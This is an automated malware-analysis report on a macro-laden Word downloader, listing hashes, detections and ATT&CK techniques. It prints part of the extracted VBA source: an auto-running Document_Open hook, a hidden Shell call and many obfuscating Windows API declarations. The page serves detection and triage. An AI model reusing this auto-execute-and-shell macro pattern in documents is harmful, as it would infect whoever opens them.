Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ed05391a97fa1e72…

MALICIOUS

Office (OOXML)

182.4 KB Created: 2019-11-01 07:42:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-07-24
MD5: 25f6873c1187c08eaf2504d9e9f13ee2 SHA-1: 8b109d3c751e23a81c50da5912854c124ed2aba4 SHA-256: ed05391a97fa1e72bc22bd4484489b1d250180c9a5a24107be3427397f9c2fad
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing a VBA macro with a Document_Open auto-execution routine. This macro utilizes the Shell() function, indicating an attempt to download and execute a secondary payload. The presence of VBA macros and the use of Shell() are strong indicators of a downloader malware.

Heuristics 5

  • ClamAV: Doc.Downloader.Generic-8011192-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-8011192-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            'werrweawarewar3eQ23EWA = CreateProcessA(R, p, 0&, 0&, 1&, &H20&, 0&, 0&, retertwa4ret, ewtrware3rwqea)
        Shell R + " " + p, 0
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
    jfkjg345g.skdk
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 49422 bytes
SHA-256: c9b46e08bd3f3204e168a04d56af07e7d63fc752252ff44d30603b2f04506e43
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    jfkjg345g.skdk
End Sub

Attribute VB_Name = "jfkjg345g"
Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type

#If VBA7 Then
Declare PtrSafe Function ActivateKeyboardLayout Lib "user32" (ByVal HKL As LongPtr, ByVal flags As LongPtr) As LongPtr
Declare PtrSafe Function AnyPopup Lib "user32" () As LongPtr
Declare PtrSafe Function AttachThreadInput Lib "user32" (ByVal idAttach As LongPtr, ByVal idAttachTo As LongPtr, ByVal fAttach As LongPtr) As LongPtr
Declare PtrSafe Function BeginDeferWindowPos Lib "user32" (ByVal nNumWindows As LongPtr) As LongPtr
Declare PtrSafe Function BringWindowToTop Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Sub GoodNight Lib "kernel32" Alias "Sleep" (ByVal milliseconds As LongPtr)
Declare PtrSafe Function CharToOem Lib "user32" Alias "CharToOemA" (ByVal lpszSrc As String, ByVal lpszDst As String) As LongPtr
Declare PtrSafe Function CharToOemBuff Lib "user32" Alias "CharToOemBuffA" (ByVal lpszSrc As String, ByVal lpszDst As String, ByVal cchDstLength As LongPtr) As LongPtr
Declare PtrSafe Function CharUpper Lib "user32" Alias "CharUpperA" (ByVal lpsz As String) As String
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" (ByVal _
    ghxcnbm34ndb As String, ByVal nxjs3kid As String, ByVal _
    ein43kkdff As LongPtr, ByVal lajshwtye34 As LongPtr, _
    ByVal eriui4kj As LongPtr, ByVal vfj4 As LongPtr, _
    ByVal rt4 As LongPtr, ByVal lgtii5 As LongPtr, _
    lpStartupInfo As STARTUPINFO, lpProcessInformation As _
    PROCESS_INFORMATION) As LongPtr
Declare PtrSafe Function CheckDlgButton Lib "user32" Alias "CheckDLGButtonA" (ByVal hDlg As LongPtr, ByVal nIDButton As LongPtr, ByVal wCheck As LongPtr) As LongPtr
Declare PtrSafe Function CheckMenuItem Lib "user32" (ByVal hMenu As LongPtr, ByVal wIDCheckItem As LongPtr, ByVal wCheck As LongPtr) As LongPtr
Declare PtrSafe Function CheckMenuRadioItem Lib "user32" (ByVal hMenu As LongPtr, ByVal un1 As LongPtr, ByVal un2 As LongPtr, ByVal un3 As LongPtr, ByVal un4 As LongPtr) As Boolean
Declare PtrSafe Function CheckRadioButton Lib "user32" Alias "CheckRadioButtonA" (ByVal hDlg As LongPtr, ByVal nIDFirstButton As LongPtr, ByVal nIDLastButton As LongPtr, ByVal nIDCheckButton As LongPtr) As LongPtr
Declare PtrSafe Function CloseClipboard Lib "user32" () As LongPtr
Declare PtrSafe Function CloseDesktop Lib "user32" (ByVal hDesktop As LongPtr) As Boolean
Declare PtrSafe Function CloseWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function CopyIcon Lib "user32" (ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function CopyImage Lib "user32" (ByVal Handle As LongPtr, ByVal un1 As LongPtr, ByVal n1 As LongPtr, ByVal n2 As LongPtr, ByVal un2 As LongPtr) As LongPtr
Declare PtrSafe Function CountClipboardFormats Lib "user32" () As LongPtr
Declare PtrSafe Function CreateCaret Lib "user32" (ByVal hWnd As LongPtr, ByVal hBitmap As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr) As LongPtr
Declare PtrSafe Function CreateIcon Lib "user32" (ByVal hInstance As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal nPlanes As Byte, ByVal nBitsPixel As Byte, lpANDbits As Byte, lpXORbits As Byte) As LongPtr
Declare PtrSafe Function CreateIconFromResource Lib "user32" (presbits As Byte, ByVal dwResSize As LongPtr, ByVal fIcon As LongPtr, ByVal dwVer As LongPtr) As LongPtr
Declare PtrSafe Function CreateMDIWindow Lib "user32" Alias "CreateMDIWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hWndParent As LongPtr, ByVal hInstance As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function CreateMenu Lib "user32" () As LongPtr
Declare PtrSafe Function CreatePopupMenu Lib "user32" () As LongPtr
Declare PtrSafe Function CreateWindow Lib "user32" Alias "CreateWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hWndParent As LongPtr, ByVal hMenu As LongPtr, ByVal hInstance As LongPtr, lpParam As Any) As LongPtr
Declare PtrSafe Function DdeAddData Lib "user32" Alias "DdeAddDataA" (ByVal hData As LongPtr, pSrc As Byte, ByVal cb As LongPtr, ByVal cbOff As LongPtr) As LongPtr
Declare PtrSafe Function DdeClientTransaction Lib "user32" (pData As Byte, ByVal cbData As LongPtr, ByVal hConv As LongPtr, ByVal hszItem As LongPtr, ByVal wFmt As LongPtr, ByVal wType As LongPtr, ByVal dwTimeout As LongPtr, pdwResult As LongPtr) As LongPtr
Declare PtrSafe Function DdeDisconnect Lib "user32" (ByVal hConv As LongPtr) As LongPtr
Declare PtrSafe Function DdeDisconnectList Lib "user32" (ByVal hConvList As LongPtr) As LongPtr
Declare PtrSafe Function DdeEnableCallback Lib "user32" (ByVal idInst As LongPtr, ByVal hConv As LongPtr, ByVal wCmd As LongPtr) As LongPtr
Declare PtrSafe Function DdeFreeDataHandle Lib "user32" (ByVal hData As LongPtr) As LongPtr
Declare PtrSafe Function DdeFreeStringHandle Lib "user32" (ByVal idInst As LongPtr, ByVal hsz As LongPtr) As LongPtr
Declare PtrSafe Function DdeGetData Lib "user32" Alias "DdeGetDataA" (ByVal hData As LongPtr, pDst As Byte, ByVal cbMax As LongPtr, ByVal cbOff As LongPtr) As LongPtr
Declare PtrSafe Function DdeNameService Lib "user32" (ByVal idInst As LongPtr, ByVal hsz1 As LongPtr, ByVal hsz2 As LongPtr, ByVal afCmd As LongPtr) As LongPtr
Declare PtrSafe Function DefDlgProc Lib "user32" Alias "DefDlgProcA" (ByVal hDlg As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function DeferWindowPos Lib "user32" (ByVal hWinPosInfo As LongPtr, ByVal hWnd As LongPtr, ByVal hWndInsertAfter As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal cx As LongPtr, ByVal cy As LongPtr, ByVal wFlags As LongPtr) As LongPtr
Declare PtrSafe Function DestroyAcceleratorTable Lib "user32" (ByVal haccel As LongPtr) As LongPtr
Declare PtrSafe Function DestroyCaret Lib "user32" () As LongPtr
Declare PtrSafe Function DestroyCursor Lib "user32" (ByVal hCursor As LongPtr) As LongPtr
Declare PtrSafe Function DestroyIcon Lib "user32" (ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function DestroyMenu Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function DestroyWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectComboBoxEx Lib "user32" Alias "DlgDirSelectComboBoxExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idComboBox As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idListBox As LongPtr) As LongPtr
Declare PtrSafe Function DrawIcon Lib "user32" (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal y As LongPtr, ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function DrawIconEx Lib "user32" (ByVal hDC As LongPtr, ByVal xLeft As LongPtr, ByVal yTop As LongPtr, ByVal hIcon As LongPtr, ByVal cxWidth As LongPtr, ByVal cyWidth As LongPtr, ByVal istepIfAniCur As LongPtr, ByVal hbrFlickerFreeDraw As LongPtr, ByVal diFlags As LongPtr) As Boolean
Declare PtrSafe Function DrawMenuBar Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function EndDeferWindowPos Lib "user32" (ByVal hWinPosInfo As LongPtr) As LongPtr
Declare PtrSafe Function EndDialog Lib "user32" (ByVal hDlg As LongPtr, ByVal nResult As LongPtr) As LongPtr
Declare PtrSafe Function EnumChildWindows Lib "user32" (ByVal hWndParent As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function EnumClipboardFormats Lib "user32" (ByVal wFormat As LongPtr) As LongPtr
Declare PtrSafe Function EnumDesktops Lib "user32" Alias "EnumDesktopsA" (ByVal hWinSta As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function EnumProps Lib "user32" Alias "EnumPropsA" (ByVal hWnd As LongPtr, ByVal lpEnumFunc As LongPtr) As LongPtr
Declare PtrSafe Function EnumPropsEx Lib "user32" Alias "EnumPropsExA" (ByVal hWnd As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function EnumThreadWindows Lib "user32" (ByVal dwThreadId As LongPtr, ByVal lpfn As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function EnumWindowStations Lib "user32" Alias "EnumWindowStationsA" (ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function ExcludeUpdateRgn Lib "user32" (ByVal hDC As LongPtr, ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function ExitWindows Lib "user32" (ByVal dwReserved As LongPtr, ByVal uReturnCode As LongPtr) As LongPtr
Declare PtrSafe Function ExitWindowsEx Lib "user32" (ByVal uFlags As LongPtr, ByVal dwReserved As LongPtr) As LongPtr
Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPtr
Declare PtrSafe Function FreeDDElParam Lib "user32" (ByVal msg As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function GetActiveWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetAsyncKeyState Lib "user32" (ByVal vKey As LongPtr) As Integer
Declare PtrSafe Function GetCapture Lib "user32" () As LongPtr
Declare PtrSafe Function GetCaretBlinkTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetClassLong Lib "user32" Alias "GetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As LongPtr, ByVal lpClassName As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardData Lib "user32" Alias "GetClipboardDataA" (ByVal wFormat As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardOwner Lib "user32" () As LongPtr
Declare PtrSafe Function GetClipboardViewer Lib "user32" () As LongPtr
Declare PtrSafe Function GetDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetDCEx Lib "user32" (ByVal hWnd As LongPtr, ByVal hrgnclip As LongPtr, ByVal fdwOptions As LongPtr) As LongPtr
Declare PtrSafe Function GetDesktopWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetDlgItemInt Lib "user32" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal lpTranslated As LongPtr, ByVal bSigned As LongPtr) As LongPtr
Declare PtrSafe Function GetDoubleClickTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetFocus Lib "user32" () As LongPtr
Declare PtrSafe Function GetForegroundWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyboardLayoutList Lib "user32" (ByVal nBuff As LongPtr, lpList As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyboardLayoutName Lib "user32" Alias "GetKeyboardLayoutNameA" (ByVal pwszKLID As String) As LongPtr
Declare PtrSafe Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As LongPtr
Declare PtrSafe Function GetKeyboardType Lib "user32" (ByVal nTypeFlag As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As LongPtr, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Declare PtrSafe Function GetKeyState Lib "user32" (ByVal nVirtKey As LongPtr) As Integer
Declare PtrSafe Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As LongPtr) As LongPtr
Declare PtrSafe Function GetMenu Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuCheckMarkDimensions Lib "user32" () As LongPtr
Declare PtrSafe Function GetMenuItemCount Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuItemID Lib "user32" (ByVal hMenu As LongPtr, ByVal nPos As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuState Lib "user32" (ByVal hMenu As LongPtr, ByVal wID As LongPtr, ByVal wFlags As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As LongPtr, ByVal wIDItem As LongPtr, ByVal lpString As String, ByVal nMaxCount As LongPtr, ByVal wFlag As LongPtr) As LongPtr
Declare PtrSafe Function GetMessageExtraInfo Lib "user32" () As LongPtr
Declare PtrSafe Function GetMessagePos Lib "user32" () As LongPtr
Declare PtrSafe Function GetMessageTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetOpenClipboardWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetParent Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetPriorityClipboardFormat Lib "user32" (lpPriorityList As LongPtr, ByVal nCount As LongPtr) As LongPtr
Declare PtrSafe Function GetProcessWindowStation Lib "user32" () As LongPtr
Declare PtrSafe Function GetProp Lib "user32" Alias "GetPropA" (ByVal hWnd As LongPtr, ByVal lpString As String) As LongPtr
Declare PtrSafe Function GetQueueStatus Lib "user32" (ByVal fuFlags As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollPos Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollRange Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr, lpMinPos As LongPtr, lpMaxPos As LongPtr) As LongPtr
Declare PtrSafe Function GetTabbedTextExtent Lib "user32" Alias "GetTabbedTextExtentA" (ByVal hDC As LongPtr, ByVal lpString As String, ByVal nCount As LongPtr, ByVal nTabPositions As LongPtr, lpnTabStopPositions As LongPtr) As LongPtr
Declare PtrSafe Function GetThreadDesktop Lib "user32" (ByVal dwThread As LongPtr) As LongPtr
Declare PtrSafe Function GetTopWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetUpdateRgn Lib "user32" (ByVal hWnd As LongPtr, ByVal hRgn As LongPtr, ByVal fErase As LongPtr) As LongPtr
Declare PtrSafe Function GetUserObjectInformation Lib "user32" Alias "GetUserObjectInformationA" (ByVal hObj As LongPtr, ByVal nIndex As LongPtr, pvInfo As Any, ByVal nLength As LongPtr, lpnLengthNeeded As LongPtr) As Boolean
Declare PtrSafe Function GetWindow Lib "user32" (ByVal hWnd As LongPtr, ByVal wCmd As LongPtr) As LongPtr
Declare PtrSafe Function GetWindowContextHelpId Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetWindowDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function ReuseDDElParam Lib "user32" (ByVal lParam As LongPtr, ByVal msgIn As LongPtr, ByVal msgOut As LongPtr, ByVal uiLo As LongPtr, ByVal uiHi As LongPtr) As LongPtr
Declare PtrSafe Function SendDlgItemMessage Lib "user32" Alias "SendDlgItemMessageA" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As LongPtr, ByVal wMsg As LongPtr, ByVal wParam As LongPtr, lParam As LongPtr) As LongPtr
Declare PtrSafe Function SendMessageCallback Lib "user32" Alias "SendMessageCallbackA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr, ByVal lpResultCallBack As LongPtr, ByVal dwData As LongPtr) As LongPtr
Declare PtrSafe Function SendMessageTimeout Lib "user32" Alias "SendMessageTimeoutA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr, ByVal fuFlags As LongPtr, ByVal uTimeout As LongPtr, lpdwResult As LongPtr) As LongPtr
Declare PtrSafe Function SendNotifyMessage Lib "user32" Alias "SendNotifyMessageA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function SetActiveWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCapture Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretPos Lib "user32" (ByVal x As LongPtr, ByVal y As LongPtr) As LongPtr
Declare PtrSafe Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal dwNewLong As LongPtr) As LongPtr
Declare PtrSafe Function SetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal wNewWord As LongPtr) As LongPtr
Declare PtrSafe Function SetClipboardData Lib "user32" Alias "SetClipboardDataA" (ByVal wFormat As LongPtr, ByVal hMem As LongPtr) As LongPtr
Declare PtrSafe Function SetClipboardViewer Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCursor Lib "user32" (ByVal hCursor As LongPtr) As LongPtr
Declare PtrSafe Function SetCursorPos Lib "user32" (ByVal x As LongPtr, ByVal y As LongPtr) As LongPtr
Declare PtrSafe Function SetDlgItemInt Lib "user32" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal wValue As LongPtr, ByVal bSigned As LongPtr) As LongPtr
Declare PtrSafe Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal lpString As String) As LongPtr
Declare PtrSafe Function SetDoubleClickTime Lib "user32" (ByVal wCount As LongPtr) As LongPtr
Declare PtrSafe Function SetFocus Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetForegroundWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetMenu Lib "user32" (ByVal hWnd As LongPtr, ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function SetMenuContextHelpId Lib "user32" (ByVal hMenu As LongPtr, ByVal dw As LongPtr) As Boolean
Declare PtrSafe Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As LongPtr, ByVal uItem As LongPtr, ByVal fByPos As LongPtr) As Boolean
Declare PtrSafe Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As LongPtr, ByVal nPosition As LongPtr, ByVal wFlags As LongPtr, ByVal hBitmapUnchecked As LongPtr, ByVal hBitmapChecked As LongPtr) As LongPtr
Declare PtrSafe Function SetMessageExtraInfo Lib "user32" (ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function SetMessageQueue Lib "user32" (ByVal cMessagesMax As LongPtr) As Boolean
Declare PtrSafe Function SetWindowRgn Lib "user32" (ByVal hWnd As LongPtr, ByVal hRgn As LongPtr, ByVal bRedraw As Boolean) As LongPtr
Declare PtrSafe Function SetWindowsHook Lib "user32" Alias "SetWindowsHookA" (ByVal nFilterType As LongPtr, ByVal pfnFilterProc As LongPtr) As LongPtr
Declare PtrSafe Function SwapMouseButton Lib "user32" (ByVal bSwap As LongPtr) As LongPtr
Declare PtrSafe Function SwitchDesktop Lib "user32" (ByVal hDesktop As LongPtr) As Boolean
Declare PtrSafe Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As LongPtr, ByVal uParam As LongPtr, ByVal lpvParam As Any, ByVal fuWinIni As LongPtr) As LongPtr
Declare PtrSafe Function ToAsciiEx Lib "user32" (ByVal uVirtKey As LongPtr, ByVal uScanCode As LongPtr, lpKeyState As Byte, lpChar As Integer, ByVal uFlags As LongPtr, ByVal dwhkl As LongPtr) As LongPtr
Declare PtrSafe Function ToUnicode Lib "user32" (ByVal wVirtKey As LongPtr, ByVal wScanCode As LongPtr, lpKeyState As Byte, ByVal pwszBuff As String, ByVal cchBuff As LongPtr, ByVal wFlags As LongPtr) As LongPtr

#Else
Declare Function ActivateKeyboardLayout Lib "user32" (ByVal HKL As Long, ByVal flags As Long) As Long
Declare Function AnyPopup Lib "user32" () As Long
Declare Function AttachThreadInput Lib "user32" (ByVal idAttach As Long, ByVal idAttachTo As Long, ByVal fAttach As Long) As Long
Declare Function BeginDeferWindowPos Lib "user32" (ByVal nNumWindows As Long) As Long
Declare Function BringWindowToTop Lib "user32" (ByVal hWnd As Long) As Long
Declare Function BroadcastSystemMessage Lib "user32" (ByVal dw As Long, pdw As Long, ByVal un As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function CharPrev Lib "user32" Alias "CharPrevA" (ByVal lpszStart As String, ByVal lpszCurrent As String) As String
Declare Function CharUpper Lib "user32" Alias "CharUpperA" (ByVal lpsz As String) As String
Declare Sub GoodNight Lib "kernel32" Alias "Sleep" (ByVal milliseconds As Long)
Declare Function CharUpperBuff Lib "user32" Alias "CharUpperBuffA" (ByVal lpsz As String, ByVal cchLength As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, _
                ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
                lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Declare Function CheckDlgButton Lib "user32" Alias "CheckDLGButtonA" (ByVal hDlg As Long, ByVal nIDButton As Long, ByVal wCheck As Long) As Long
Declare Function CheckMenuItem Lib "user32" (ByVal hMenu As Long, ByVal wIDCheckItem As Long, ByVal wCheck As Long) As Long
Declare Function CheckMenuRadioItem Lib "user32" (ByVal hMenu As Long, ByVal un1 As Long, ByVal un2 As Long, ByVal un3 As Long, ByVal un4 As Long) As Boolean
Declare Function CheckRadioButton Lib "user32" Alias "CheckRadioButtonA" (ByVal hDlg As Long, ByVal nIDFirstButton As Long, ByVal nIDLastButton As Long, ByVal nIDCheckButton As Long) As Long
Declare Function ChildWindowFromPoint Lib "user32" (ByVal hWnd As Long, ByVal xPoint As Long, ByVal yPoint As Long) As Long
Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Declare Function CloseClipboard Lib "user32" () As Long
Declare Function CloseDesktop Lib "user32" (ByVal hDesktop As Long) As Boolean
Declare Function CloseWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function CloseWindowStation Lib "user32" (ByVal hWinSta As Long) As Boolean
Declare Function CopyCursor Lib "user32" (ByVal hcur As Long) As Long
Declare Function CopyIcon Lib "user32" (ByVal hIcon As Long) As Long
Declare Function CopyImage Lib "user32" (ByVal Handle As Long, ByVal un1 As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal un2 As Long) As Long
Declare Function CountClipboardFormats Lib "user32" () As Long
Declare Function CreateCaret Lib "user32" (ByVal hWnd As Long, ByVal hBitmap As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Declare Function CreateIcon Lib "user32" (ByVal hInstance As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Byte, ByVal nBitsPixel As Byte, lpANDbits As Byte, lpXORbits As Byte) As Long
Declare Function CreateIconFromResource Lib "user32" (presbits As Byte, ByVal dwResSize As Long, ByVal fIcon As Long, ByVal dwVer As Long) As Long
Declare Function CreateMDIWindow Lib "user32" Alias "CreateMDIWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hInstance As Long, ByVal lParam As Long) As Long
Declare Function CreateMenu Lib "user32" () As Long
Declare Function CreatePopupMenu Lib "user32" () As Long
Declare Function CreateWindow Lib "user32" Alias "CreateWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Declare Function CreateWindowEx Lib "user32" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Declare Function DdeAbandonTransaction Lib "user32" (ByVal idInst As Long, ByVal hConv As Long, ByVal idTransaction As Long) As Long
Declare Function DdeAccessData Lib "user32" Alias "DdeAccessDataA" (ByVal hData As Long, pcbDataSize As Long) As Long
Declare Function DdeAddData Lib "user32" Alias "DdeAddDataA" (ByVal hData As Long, pSrc As Byte, ByVal cb As Long, ByVal cbOff As Long) As Long
